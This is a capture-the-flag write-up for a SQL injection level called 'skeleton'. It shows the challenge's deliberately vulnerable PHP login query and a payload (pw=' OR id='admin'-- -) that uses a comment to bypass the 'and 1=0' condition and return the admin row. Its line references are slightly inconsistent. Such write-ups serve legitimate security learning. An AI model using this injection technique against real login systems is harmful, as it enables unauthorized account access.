Skeleton

Breaking query with a comment

Code

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("skeleton"); 
  highlight_file(__FILE__); 
?>

Line 8: Query is set to obtain user-supplied input, assign it to the "pw" parameter, and evaluate 1=0.

Line 9: If "id" is equal to "admin", the challenge will be solved.

Query

SELECT id FROM prob_skeleton WHERE id=''

Testing

Vulnerable parameter is "pw".

The query on line 6 accepts a value and stores it in 'pw', then evaluates if 1=0 is true. Since 1 is not equal to 0, the query will always return false. By including a comment in the supplied value, the expression following it will be "commented" and will not execute. The following payload solves the challenge.

pw=' OR id='admin'-- -

Effective Query

SELECT id FROM prob_skeleton WHERE id='guest' and pw='' OR id='admin'-- -' AND 1=0

Last updated